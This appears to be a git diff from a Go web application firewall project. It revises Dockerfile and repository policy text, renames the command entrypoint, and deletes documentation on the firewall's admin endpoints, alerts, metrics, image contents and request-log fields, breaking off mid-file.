@@ -180,9 +173,8 @@ style conventions are in separate documents:
|
||||
COPY . .
|
||||
RUN golangci-lint run --config .golangci.yml ./...
|
||||
|
||||
# Test phase. -race needs cgo and so a C compiler, which the Debian Go
|
||||
# image ships and the alpine one does not.
|
||||
# golang:1.x, YYYY-MM-DD
|
||||
# Test phase
|
||||
# golang:1.x-alpine, YYYY-MM-DD
|
||||
FROM golang@sha256:... AS test
|
||||
WORKDIR /src
|
||||
COPY go.mod go.sum ./
|
||||
@@ -199,29 +191,15 @@ style conventions are in separate documents:
|
||||
FROM golang@sha256:... AS builder
|
||||
COPY --from=lint /src/go.sum /dev/null
|
||||
COPY --from=test /src/go.sum /dev/null
|
||||
RUN apk add --no-cache git
|
||||
# A tar-stream context keeps the sender's file owners, which git refuses.
|
||||
RUN git config --system --add safe.directory /src
|
||||
WORKDIR /src
|
||||
COPY go.mod go.sum ./
|
||||
RUN go mod download
|
||||
COPY . .
|
||||
|
||||
# The VERSION build arg when one is given, otherwise
|
||||
# `git describe --tags --always` on the .git in the build context. With
|
||||
# .git present, a version that is still empty, dev or unknown fails the
|
||||
# build: git is missing or could not read the checkout.
|
||||
ARG VERSION
|
||||
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
|
||||
if [ -e .git ]; then \
|
||||
case "$VERSION" in ""|dev|unknown) \
|
||||
echo "version is '$VERSION' although .git is present" >&2; \
|
||||
exit 1 ;; \
|
||||
esac; \
|
||||
fi; \
|
||||
CGO_ENABLED=0 go build -trimpath \
|
||||
-ldflags="-s -w -X main.Version=${VERSION}" \
|
||||
-o /app ./cmd/app/
|
||||
ARG VERSION=dev
|
||||
RUN CGO_ENABLED=0 go build -trimpath \
|
||||
-ldflags="-s -w -X main.Version=${VERSION}" \
|
||||
-o /app ./cmd/app/
|
||||
|
||||
# Runtime stage, and the last one
|
||||
FROM alpine@sha256:...
|
||||
@@ -243,41 +221,10 @@ style conventions are in separate documents:
|
||||
(e.g. a web frontend compiled in a separate stage), the lint phase must
|
||||
create placeholder files so the embed directives resolve. Example:
|
||||
`RUN mkdir -p web/dist && touch web/dist/index.html web/dist/style.css`.
|
||||
- If the project requires CGO or system libraries for linting, install them
|
||||
in the lint phase. The `golangci/golangci-lint` image is Debian-based and
|
||||
has no `apk`, so install with `apt-get` under the Debian package name
|
||||
(`libvips-dev`, where alpine says `vips-dev`), and delete the package
|
||||
lists in the same `RUN`, so the layer does not keep them:
|
||||
|
||||
```dockerfile
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends libvips-dev \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
```
|
||||
|
||||
- `.dockerignore` lets `.git` into the build context. It keeps out every git
|
||||
`config` at any depth (`**/.git/config`, `**/.git/modules/**/config`): the
|
||||
repository's own, each submodule's under `.git/modules/`, and that of a
|
||||
submodule keeping its own `.git` directory. `git describe` does not need
|
||||
them, and each can hold a credential: a password in a remote URL, or the
|
||||
token the CI checkout step stores there. A submodule whose name has a
|
||||
`config` segment (`config`, `deploy/config`, `config/lib`) loses its whole
|
||||
git directory to `**/.git/modules/**/config`, and Go's version stamping
|
||||
then fails the build: give it a name without that segment
|
||||
(`git submodule add --name`). The stage that compiles has `git` (the
|
||||
Debian Go image has it; an alpine one needs `apk add --no-cache git`) and
|
||||
takes the version from the `VERSION` build argument when one is given,
|
||||
otherwise from `git describe --tags --always`. That gives the tag on a
|
||||
tagged commit; on a later commit, the tag, the number of commits since it
|
||||
and the short commit (`v1.2.3-4-gabc1234`); and the short commit when no
|
||||
tag is reachable. The stage that compiles also marks its working directory
|
||||
safe for git (`git config --system --add safe.directory /src`): a context
|
||||
sent as a tar stream keeps the sender's file owners, and git refuses a
|
||||
checkout owned by another user, so the version would come out empty.
|
||||
`ARG VERSION` has no default, and the build fails if the context carries
|
||||
`.git` and the version still comes out empty, `dev` or `unknown`. A plain
|
||||
`docker build .` with no build arguments must succeed; a Dockerfile that
|
||||
refuses an empty build argument drops that refusal and keeps the argument.
|
||||
- If the project requires CGO or system libraries for linting (e.g.
|
||||
`vips-dev`), install them in the lint phase with `apk add`.
|
||||
- `ARG VERSION=dev` is declared in the stage that compiles and supplied by
|
||||
`script/docker` and `script/cibuild`; no stage may call `git describe`.
|
||||
|
||||
- Every repo should have a Gitea Actions workflow (`.gitea/workflows/`) that
|
||||
runs `script/cibuild` on push, and checks out the repo as its only other step.
|
||||
@@ -286,12 +233,7 @@ style conventions are in separate documents:
|
||||
carry the same guarantee, because its gate phases may come from the cache. The
|
||||
image build is uncached and so runs the gate phases a second time. That is the
|
||||
price of the rule above, and it is worth paying: the image that ships is built
|
||||
from a run of its own gates rather than from a cache entry. A separate
|
||||
workflow limited to `main` by a `branches` list under `on: push` cannot be
|
||||
checked by review: to try a change to it, add the feature branch to that list
|
||||
and push, then remove the branch from the list again before merging. Keep any
|
||||
job in it that publishes behind `if: github.ref_name == 'main'`, so the run
|
||||
from the feature branch publishes nothing.
|
||||
from a run of its own gates rather than from a cache entry.
|
||||
|
||||
- Use platform-standard formatters: `black` for Python, `prettier` for
|
||||
JS/CSS/Markdown/HTML, `go fmt` for Go. Always use default configuration with
|
||||
@@ -344,19 +286,17 @@ style conventions are in separate documents:
|
||||
```
|
||||
|
||||
`-count=1` is required on both invocations: it defeats Go's test _result_
|
||||
cache, so neither run can report a stored pass in place of running the
|
||||
tests. It leaves the build cache alone, so it costs the runtime of the suite
|
||||
and no recompilation.
|
||||
cache, so the target cannot report a pass it did not earn, and the rerun
|
||||
reproduces a failure instead of replaying it. It leaves the build cache
|
||||
alone, so it costs the runtime of the suite and no recompilation.
|
||||
|
||||
That cache is Go's own, separate from Docker's layer cache. Go stores a
|
||||
passing result in its cache directory (`GOCACHE`), and when the same tests
|
||||
run again on unchanged code it prints that result, marked `(cached)`,
|
||||
without running them. That matters on a developer's machine, where this
|
||||
target runs and the directory lasts from one run to the next. The `test`
|
||||
phase of the `Dockerfile` needs no `-count=1`: its base image holds no
|
||||
result for this repo's tests and nothing before its `go test` step runs a
|
||||
test, so there is nothing to replay. `--no-cache` (above) is what makes that
|
||||
step run on an unchanged tree.
|
||||
Note that this is a second, independent cache, stacked below the Docker
|
||||
layer cache that [issue #26](https://git.eeqj.de/sneak/prompts/issues/26)
|
||||
addresses. `CHECK_EPOCH` guarantees the `RUN make test` _step_ re-executes;
|
||||
it does not guarantee `go test` inside that step does any work, because the
|
||||
`GOCACHE` baked into earlier image layers survives into the re-executed
|
||||
step. They are two separate defects requiring two separate fixes, and a fix
|
||||
for one must not be recorded as covering the other.
|
||||
|
||||
Python example:
|
||||
|
||||
@@ -400,7 +340,7 @@ style conventions are in separate documents:
|
||||
— which is more dangerous than a short file with no secret patterns at all,
|
||||
because it reads as solved and stops anyone looking. Give every
|
||||
depth-independent pattern the `**/` prefix and leave only genuinely
|
||||
root-anchored entries unprefixed: `.claude`, and the repo's own host-built
|
||||
root-anchored entries unprefixed: `.git`, and the repo's own host-built
|
||||
binary, written `/myapp` and never `**/myapp`, which would also match
|
||||
`cmd/myapp/` and delete the package directory from the context. Matching is
|
||||
case-sensitive, and an ALL-CAPS twin per pattern still misses `Server.Key`, so
|
||||
@@ -425,13 +365,12 @@ style conventions are in separate documents:
|
||||
directory, so a repo running agents in subdirectories still ships
|
||||
`services/api/.claude/` and must add its own anchored entry there.
|
||||
|
||||
- **A plain `docker build .` of a clone stamps the version that
|
||||
`git describe --tags --always` gives**, derived from the `.git` in the build
|
||||
context as the canonical `Dockerfile` above shows. Without its failure check,
|
||||
a missing `git` or an unreadable checkout would leave `-X main.Version=` empty
|
||||
and the build would still exit 0. `script/docker` and `script/cibuild` pass
|
||||
the version they compute on the host; it takes precedence. They do this
|
||||
byte-identically across repos:
|
||||
- **Excluding `.git` means `git describe` cannot run inside any build stage, and
|
||||
it fails quietly there.** In a build stage there is no repository, so
|
||||
`git describe` writes nothing to stdout, `-X main.Version=` comes out empty,
|
||||
the binary reports no version at all, and the build still exits 0. Compute the
|
||||
version on the host and thread it in as a build arg. `script/docker` and
|
||||
`script/cibuild` do this, byte-identically across repos:
|
||||
|
||||
```sh
|
||||
# Own line: a failing command substitution inside an argument does not
|
||||
@@ -448,7 +387,7 @@ style conventions are in separate documents:
|
||||
fallback is applied — a live check that fires on a build from an export with
|
||||
no `.git` and on a repository with no commits yet. Do not fold it into the
|
||||
substitution as `|| echo unknown`, which makes the guard unreachable. The
|
||||
Dockerfile's side is `ARG VERSION` in the stage that compiles, declared
|
||||
Dockerfile's side is `ARG VERSION=dev` in the stage that compiles, declared
|
||||
there because `ARG` is stage-scoped; passing `VERSION` to a repo whose
|
||||
Dockerfile declares no such `ARG` is ignored and costs nothing, which is why
|
||||
the scripts stay byte-identical. One consequence for CI: the standard
|
||||
@@ -487,18 +426,12 @@ style conventions are in separate documents:
|
||||
`test-support` depguard rule, where a repo names its own test-support packages
|
||||
by full import path. A repo adds entries there and changes nothing else, and a
|
||||
re-vendor carries its entries forward. The canonical golangci-lint version is
|
||||
v2.14.0 (released 2026-09-24), pinned as the digest of the lint phase's base
|
||||
v2.12.2 (released 2026-05-06), pinned as the digest of the lint phase's base
|
||||
image
|
||||
(`golangci/golangci-lint@sha256:ad862ba6b3798cbe0fd9fd7408d498fd74fbd2623a92406b2fd3898faf0bf98f`,
|
||||
which reports `2.14.0 built with go1.27.0 from 114493f9`). A module's `go`
|
||||
directive must not name a newer Go minor version than the one golangci-lint
|
||||
was built with, or golangci-lint refuses to lint it: this release lints
|
||||
`go 1.27.1` but not `go 1.28`. That digest is the only pin, since no repo
|
||||
installs golangci-lint on the host. A repo sets the lint phase digest to the
|
||||
one named here and re-vendors `.golangci.yml` in the same commit, whichever of
|
||||
the two prompted the change: the canonical copy can name linters that an older
|
||||
golangci-lint rejects, and a newer golangci-lint can add linters that
|
||||
`default: all` switches on until the canonical copy disables them.
|
||||
(`golangci/golangci-lint@sha256:5cceeef04e53efe1470638d4b4b4f5ceefd574955ab3941b2d9a68a8c9ad5240`,
|
||||
which reports `2.12.2 built with go1.26.2 from c0d3ddc9`). That digest is the
|
||||
only pin, since no repo installs golangci-lint on the host: bumping the
|
||||
version means changing it and nothing else.
|
||||
|
||||
- **`script/bootstrap` installs a pinned tool by comparing versions, never by
|
||||
testing presence.** An `if ! command -v <tool>; then install; fi` guard tests
|
||||
@@ -522,11 +455,6 @@ style conventions are in separate documents:
|
||||
|
||||
Keep it POSIX sh: no arrays, no `[[`, no `grep -P`.
|
||||
|
||||
A Go tool a repo needs on the host is installed with `go install` pinned to
|
||||
a commit hash (`go install <package>@<commit hash>`). It is never tracked as
|
||||
a `go.mod` tool dependency or through a `tools.go` file, either of which
|
||||
pulls the tool's own dependencies into the repo's `go.mod` and `go.sum`.
|
||||
|
||||
- When pinning images or packages by hash, add a comment above the reference
|
||||
with the version and date (YYYY-MM-DD).
|
||||
|
||||
@@ -639,10 +567,10 @@ style conventions are in separate documents:
|
||||
settings.
|
||||
|
||||
- Avoid putting files in the repo root unless necessary. Root should contain
|
||||
only project-level config files (`README.md`, `AGENTS.md`, `Makefile`,
|
||||
`Dockerfile`, `LICENSE`, `.gitignore`, `.editorconfig`, `REPO_POLICIES.md`,
|
||||
and language-specific config). Everything else goes in a subdirectory.
|
||||
Canonical subdirectory names:
|
||||
only project-level config files (`README.md`, `Makefile`, `Dockerfile`,
|
||||
`LICENSE`, `.gitignore`, `.editorconfig`, `REPO_POLICIES.md`, and
|
||||
language-specific config). Everything else goes in a subdirectory. Canonical
|
||||
subdirectory names:
|
||||
- `bin/` — executable scripts and tools
|
||||
- `cmd/` — Go command entrypoints; thin only: one `main.go` per binary whose
|
||||
body is a single call into `internal/` or `pkg/`, no project logic in
|
||||
@@ -673,7 +601,3 @@ style conventions are in separate documents:
|
||||
- Go: `go.mod`, `go.sum`, `.golangci.yml`
|
||||
- JS: `package.json`, `yarn.lock`, `.prettierrc`, `.prettierignore`
|
||||
- Python: `pyproject.toml`
|
||||
|
||||
- Guidance for coding agents lives in one `AGENTS.md` at the repository root. It
|
||||
is never committed under a file or directory named after one agent tool, such
|
||||
as `CLAUDE.md` or `.claude/`, and never split into separate memory files.
|
||||
@@ -0,0 +1,18 @@
|
||||
// Command smallwebwaf is a web application firewall for one app: it runs
|
||||
// between traefik and the app, and passes requests through within its
|
||||
// limits. Everything it does is in internal/smallwebwaf.
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
|
||||
)
|
||||
|
||||
// Version is the version of the binary, set when it is built with
|
||||
// -ldflags "-X main.Version=...".
|
||||
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
|
||||
|
||||
func main() {
|
||||
os.Exit(smallwebwaf.Main(Version))
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
// Command sww is a web application firewall. `sww rproxy` is the reverse
|
||||
// proxy in front of one app, which asks discriminator about each request.
|
||||
// `sww discriminator` decides, for many sites, and keeps what lasts. `sww
|
||||
// healthcheck` is the container's health check. Everything it does is in
|
||||
// internal/sww.
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||
)
|
||||
|
||||
// Version is the version of the binary, set when it is built with
|
||||
// -ldflags "-X main.Version=...".
|
||||
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
|
||||
|
||||
func main() {
|
||||
os.Exit(sww.Main(Version))
|
||||
}
|
||||
@@ -6,8 +6,8 @@
|
||||
# A real app names the smallwebwaf image by digest. This one takes the
|
||||
# image script/example-app has just built, or else the one `make docker`
|
||||
# builds.
|
||||
ARG SWW_IMAGE=smallwebwaf
|
||||
FROM ${SWW_IMAGE}
|
||||
ARG SMALLWEBWAF_IMAGE=smallwebwaf
|
||||
FROM ${SMALLWEBWAF_IMAGE}
|
||||
|
||||
# Packages the app needs, from the nixpkgs in the image.
|
||||
RUN nix-env -iA nixpkgs.busybox
|
||||
|
||||
@@ -1,60 +0,0 @@
|
||||
# Admin endpoints
|
||||
|
||||
The endpoints under `/_sww/`, what each takes and what each answers.
|
||||
`sww discriminator` answers them at its own address, on the private network.
|
||||
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||
|
||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
||||
[`metrics.md`](metrics.md)).
|
||||
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
||||
Needs `SWW_ADMIN_TOKEN`, as do the three below.
|
||||
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
||||
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
||||
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
||||
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
|
||||
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
|
||||
wrong:
|
||||
- one that is not such an object, or has another field;
|
||||
- one longer than 4 KiB;
|
||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
|
||||
`<client>`. It answers `404` when none is active.
|
||||
- `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
|
||||
`client`, its counters and history as `clients.json` holds them, or `null`
|
||||
when `clients.json` does not hold it. Under `bans`, every ban covering the
|
||||
address, with its notes.
|
||||
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
|
||||
`204`, or `400` to a body that is no report (see "The report" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
|
||||
No check runs on these requests. A missing or wrong token is answered `401`. An
|
||||
endpoint whose token is unset answers `404`, as does any other path.
|
||||
|
||||
`sww rproxy` answers only the health check of these, at its own address. It asks
|
||||
`discriminator` about any other request under `/_sww/`. One that passes the
|
||||
checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
|
||||
in [`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## Examples
|
||||
|
||||
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
|
||||
as `discriminator:8080` on its network:
|
||||
|
||||
```sh
|
||||
# Every ban.
|
||||
curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
|
||||
|
||||
# Ban 203.0.113.0/24 for seven days.
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
|
||||
http://discriminator:8080/_sww/bans
|
||||
|
||||
# Lift the bans on 203.0.113.9.
|
||||
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
|
||||
http://discriminator:8080/_sww/bans/203.0.113.9
|
||||
|
||||
# What discriminator knows of 203.0.113.9.
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
http://discriminator:8080/_sww/clients/203.0.113.9
|
||||
```
|
||||
-137
@@ -1,137 +0,0 @@
|
||||
# Alerts
|
||||
|
||||
The alert events, the JSON object the webhook gets, and the messages Slack and
|
||||
ntfy get. "Alerting" in [`SPEC.md`](../SPEC.md) says when an alert is sent, held
|
||||
back or dropped.
|
||||
|
||||
## Events
|
||||
|
||||
- `ban`: a ban `discriminator` made.
|
||||
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
|
||||
a request.
|
||||
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
|
||||
threshold. The request was refused unless the alert's `detail` gives `mode`:
|
||||
`detect` or `observe`.
|
||||
- `anomaly`: a count over an anomaly threshold.
|
||||
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
|
||||
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
|
||||
One alert per source.
|
||||
- `source_failure`: one of:
|
||||
- GeoJS failing;
|
||||
- a list that cannot be fetched;
|
||||
- a DNS blocklist or AbuseIPDB failing or refusing a query;
|
||||
- the day's AbuseIPDB checks used up.
|
||||
- `file_error`: one of:
|
||||
- a rule file or state file edit with an error;
|
||||
- a state file that cannot be written;
|
||||
- a replacement lookup database that cannot be read.
|
||||
- `summary`: the hourly summary of alerts held back.
|
||||
|
||||
## The JSON object
|
||||
|
||||
This is the alert for a ban for a broken rate limit, shown indented; it is sent
|
||||
on one line:
|
||||
|
||||
```json
|
||||
{
|
||||
"instance": "fsn1/discriminator",
|
||||
"time": "2026-10-06T12:00:50.123461Z",
|
||||
"event": "ban",
|
||||
"host": "app.example",
|
||||
"client": "203.0.113.9",
|
||||
"netblock": "203.0.113.9/32",
|
||||
"asn": "",
|
||||
"as_name": "",
|
||||
"country": "",
|
||||
"reason": "requests per minute over the limit of 500",
|
||||
"detail": {
|
||||
"ban_expires": "2026-10-06T13:00:50.123Z",
|
||||
"cause": "limit",
|
||||
"notes": {
|
||||
"asn": "",
|
||||
"as_name": "",
|
||||
"country": "",
|
||||
"kind": "requests",
|
||||
"limit": 500,
|
||||
"window": "minute",
|
||||
"count": 501,
|
||||
"request": {
|
||||
"time": "2026-10-06T12:00:50.123456789Z",
|
||||
"method": "GET",
|
||||
"host": "app.example",
|
||||
"path": "/owner/repo/commits/branch/main?page=501",
|
||||
"status": 403,
|
||||
"user_agent": "scraper/1.0"
|
||||
},
|
||||
"requests": 501,
|
||||
"refused": 0,
|
||||
"earlier_bans": {
|
||||
"limit": 0,
|
||||
"attack": 0,
|
||||
"admin": 0,
|
||||
"crowdsec": 0
|
||||
}
|
||||
}
|
||||
},
|
||||
"suppressed_repeats": 0
|
||||
}
|
||||
```
|
||||
|
||||
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||
one of the events above.
|
||||
- `host`: the site of the request that raised the alert, since one
|
||||
`discriminator` serves many sites. It is left out of `source_failure`,
|
||||
`file_error` and `summary`.
|
||||
- `client`: the address whose request raised the alert. Empty for
|
||||
`source_failure`, `file_error` and `summary`.
|
||||
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
|
||||
one of:
|
||||
- the ban's netblock;
|
||||
- the netblock an anomaly counted, empty in the `asn` and `total` scopes;
|
||||
- for the other events, the client as rate limiting counts it: an IPv4
|
||||
address as a /32, or an IPv6 group.
|
||||
- `asn`, `as_name` and `country`: the client's, as known when the alert was
|
||||
raised. They are empty when GeoJS had not answered yet.
|
||||
- `reason`: a short sentence, such as
|
||||
`requests per minute over the limit of 500` or `listed by a blocklist`.
|
||||
- `detail`: what is particular to the event:
|
||||
- for a ban, its `cause`, `ban_expires` and `notes` (the notes are listed
|
||||
under `bans.json` in [`state-files.md`](state-files.md));
|
||||
- for an anomaly, the `scope`, `window`, `kind`, `count` and `threshold`;
|
||||
- for a reputation hit, the `source` and, for AbuseIPDB, the `score`;
|
||||
- for a Core Rule Set match, the `rule_ids`, `score`, `method` and `path`;
|
||||
- for a source failure, the `source` and `error`;
|
||||
- for a file error, the `file` and `error`;
|
||||
- for a summary, the `hour` it covers, the `count` of alerts held back, and
|
||||
that count by event in `events`;
|
||||
- `mode`, when the request was not refused: `detect` or `observe`.
|
||||
- `suppressed_repeats`: how many repeats the cooldown held back before this
|
||||
alert.
|
||||
|
||||
## Slack and ntfy
|
||||
|
||||
Slack and ntfy get a message with a title and a text. The title is the instance
|
||||
and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
|
||||
one line for each of these that the alert has:
|
||||
|
||||
- the host, the client, the netblock and the country;
|
||||
- the file, the source, the error and the mode from `detail`;
|
||||
- the suppressed repeats, if any.
|
||||
|
||||
Slack gets the title in bold and the text below it, with `&`, `<` and `>`
|
||||
escaped. ntfy gets the text as the message, with these headers:
|
||||
|
||||
- `Title`: the title;
|
||||
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
|
||||
is set;
|
||||
- `Priority` and `Tags`: by event, as listed below.
|
||||
|
||||
The priority and tag by event:
|
||||
|
||||
- `ban`: priority `default`, tag `no_entry`.
|
||||
- `permanent_ban`: priority `high`, tag `no_entry`.
|
||||
- `core_rule_set_match`: priority `default`, tag `shield`.
|
||||
- `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
|
||||
- `reputation_hit`: priority `low`, tag `label`.
|
||||
- `source_failure` and `file_error`: priority `high`, tag `warning`.
|
||||
- `summary`: priority `default`, tag `bar_chart`.
|
||||
@@ -1,35 +0,0 @@
|
||||
# What the image holds
|
||||
|
||||
The contents of the `smallwebwaf` image, and how each part is pinned. The image
|
||||
runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
|
||||
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
|
||||
is pinned that way.
|
||||
|
||||
## Contents
|
||||
|
||||
- Ubuntu 26.04 LTS, pinned by digest.
|
||||
- `ca-certificates`, `nix-bin` and `runit` from Ubuntu's archive.
|
||||
- Nix, with nixpkgs `nixos-26.05.11045.774debe7a0d1` set up for root as
|
||||
`nixpkgs`. No Nix daemon; `build-users-group =` in `/etc/nix/nix.conf`. Root's
|
||||
Nix profile, `/nix/var/nix/profiles/default/bin`, last on the `PATH`.
|
||||
Unpacked, nixpkgs takes about 500 MiB.
|
||||
- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
|
||||
at a fixed commit hash.
|
||||
- The `sww` binary, and the user `sww` (uid and gid 65532).
|
||||
- The service directory `/etc/service/sww`, with the `run` script
|
||||
`share/sww.run`.
|
||||
- `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
|
||||
the default rule file `share/rules.d/00-default.rules`.
|
||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||
|
||||
## Pins
|
||||
|
||||
- Ubuntu's packages are not pinned: they come from the live archive, whose
|
||||
packages change with every update.
|
||||
- nixpkgs: the release file `nixexprs.tar.xz` of
|
||||
`nixos-26.05.11045.774debe7a0d1` on `releases.nixos.org`, named with its
|
||||
SHA-256 hash.
|
||||
- `runsvinit`: the archived repository, unchanged since 2015, at its last commit
|
||||
(`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
|
||||
build writes.
|
||||
- The Go image that builds `sww`: by digest.
|
||||
@@ -1,88 +0,0 @@
|
||||
# The metrics
|
||||
|
||||
What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
|
||||
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
|
||||
keeps the `instance` label as `exported_instance` unless the scrape sets
|
||||
`honor_labels: true`. `rproxy` has no metrics.
|
||||
|
||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
||||
|
||||
## Traffic
|
||||
|
||||
- `sww_requests_total`, `sww_request_bytes_total` and
|
||||
`sww_response_bytes_total`, by `status_class` such as `2xx` and by `action`;
|
||||
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
|
||||
histograms;
|
||||
- `sww_requests_in_flight`: the questions and requests to its own endpoints that
|
||||
`discriminator` is handling.
|
||||
|
||||
## Limits and bans
|
||||
|
||||
- `sww_rate_limit_hits_total`, by `window` and by `kind` (`requests`, `bytes` or
|
||||
`refusals`);
|
||||
- `sww_offences_total`, by `kind`;
|
||||
- `sww_bans_made_total`, by `cause`;
|
||||
- `sww_active_bans` and `sww_permanent_bans`.
|
||||
|
||||
## Attack detection
|
||||
|
||||
- `sww_rule_matches_total`, by `rule_id` and `action`, and `sww_rules_loaded`;
|
||||
- `sww_core_rule_set_matches_total`, by `mode` and `rule_id`, for the rules that
|
||||
fired.
|
||||
|
||||
## Countries and AS numbers
|
||||
|
||||
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||
|
||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||
`country`;
|
||||
- `sww_asn_requests_total`, `sww_asn_request_bytes_total` and
|
||||
`sww_asn_response_bytes_total`, by `asn`.
|
||||
|
||||
## Lookups
|
||||
|
||||
- `sww_geojs_requests_total` and `sww_geojs_failures_total`;
|
||||
- `sww_requests_without_geojs_answer_total`: the requests that needed an answer
|
||||
and went on without it;
|
||||
- with the file source, `sww_lookup_database_last_read_timestamp_seconds` and
|
||||
`sww_lookup_database_read_failures_total`.
|
||||
|
||||
## Reputation sources
|
||||
|
||||
By `source`: each list's URL, each zone, and `abuseipdb`:
|
||||
|
||||
- `sww_reputation_hits_total`, `sww_reputation_queries_total` and
|
||||
`sww_reputation_failures_total`;
|
||||
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
|
||||
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
|
||||
|
||||
## State files
|
||||
|
||||
By `file`:
|
||||
|
||||
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
|
||||
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
|
||||
- `sww_state_file_edits_taken_in_total` and
|
||||
`sww_state_file_edits_set_aside_total`;
|
||||
- `sww_tracked_clients`: the clients in the table.
|
||||
|
||||
## Remote log, alerts and the process
|
||||
|
||||
- while a syslog server is set, `sww_remote_log_lines_sent_total`,
|
||||
`sww_remote_log_lines_dropped_total` and `sww_remote_log_lines_waiting`;
|
||||
- by `destination`, `sww_alerts_sent_total`, `sww_alert_send_failures_total`,
|
||||
`sww_alerts_suppressed_total` and `sww_alerts_dropped_total`;
|
||||
- Go's own `go_` metrics and the process's `process_` metrics.
|
||||
|
||||
## When a request is counted
|
||||
|
||||
`discriminator` counts a denied request at its decision, and a request to its
|
||||
own endpoints when it is answered. It counts an allowed request when its report
|
||||
comes, with the status, bytes and times the report gives. These are not counted:
|
||||
|
||||
- a report itself;
|
||||
- an allowed request whose report never comes;
|
||||
- a question refused with `400`;
|
||||
- a question whose body stopped arriving.
|
||||
@@ -1,250 +0,0 @@
|
||||
# The request log's fields
|
||||
|
||||
The fields of the JSON objects `rproxy` and `discriminator` write about each
|
||||
request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
|
||||
is written and how the log is sent to a syslog server. A field that does not
|
||||
apply to a request is left out.
|
||||
|
||||
## `discriminator`'s lines
|
||||
|
||||
`sww discriminator` writes two lines for each question it answers, joined by
|
||||
`request_id`. The field `discriminator_line` says which of the two a line is:
|
||||
|
||||
- `decision`: the line it writes once it has answered the question;
|
||||
- `report`: the line it writes when `rproxy`'s report comes, with everything
|
||||
known. The repetition is intended.
|
||||
|
||||
A request to its own endpoints writes one line, without `discriminator_line`. A
|
||||
report writes no line but the `report` line of the request it names.
|
||||
|
||||
These questions write no line:
|
||||
|
||||
- a question refused with `400` (see "The question" under "`discriminator`" in
|
||||
[`SPEC.md`](../SPEC.md));
|
||||
- a question whose body stopped arriving, which gets no answer.
|
||||
|
||||
A `report` line:
|
||||
|
||||
```
|
||||
